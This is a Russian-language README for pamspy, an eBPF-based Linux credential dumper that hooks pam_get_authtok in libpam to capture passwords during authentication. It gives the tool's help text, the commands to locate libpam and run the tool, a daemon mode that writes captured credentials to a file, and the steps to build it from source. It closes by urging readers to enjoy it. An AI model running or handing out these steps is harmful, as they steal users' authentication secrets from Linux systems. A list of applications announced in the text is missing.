
Дампер учетных данных для Linux с использованием eBPF
pamspy использует технологии eBPF для выполнения работы, аналогичной 3snake.
Он отслеживает определённую пользовательскую функцию в библиотеке PAM (Pluggable Authentication Modules), используемой многими критическими приложениями для обработки аутентификации, такими как:

pamspy собран как статический бинарный файл без каких-либо зависимостей и доступен на странице релизов.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
Поскольку pamspy зависит от libpam, необходимо указать путь, где libpam установлен в вашей системе. Чтобы узнать, где установлен libpam, выполните следующую команду:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
После получения пути вы можете запустить pamspy:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Простой способ запуска pamspy — использовать следующую команду:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy также можно запустить как демон, указав выходной файл, в который будут записаны учётные данные:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
Для сборки статического бинарного файла требуются сторонние программы. Для eBPF нужен clang для компиляции кода C в eBPF CO-RE код. Также используется bpftool для создания скелета из eBPF-программы, чтобы включить его в нашу пользовательскую программу. Кроме того, нужен libelf для поиска правильного символа в libpam.
sudo apt install make clang-11 gcc libelf-dev bpftool
Затем просто соберите!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy загружает eBPF-программу пользовательского уровня для возврата (return probe), чтобы перехватить функцию pam_get_authtok из libpam.so.
PAM расшифровывается как "Pluggable Authentication Modules" и имеет гибкую архитектуру для управления различными типами аутентификации в Linux.
Каждый раз, когда процесс аутентификации пытается проверить нового пользователя, вызывается pam_get_authtok, и в этот момент мы перехватываем содержимое критически важных секретов!
Просто! Наслаждайтесь!
Спасибо @blendin за инструмент 3snake !!!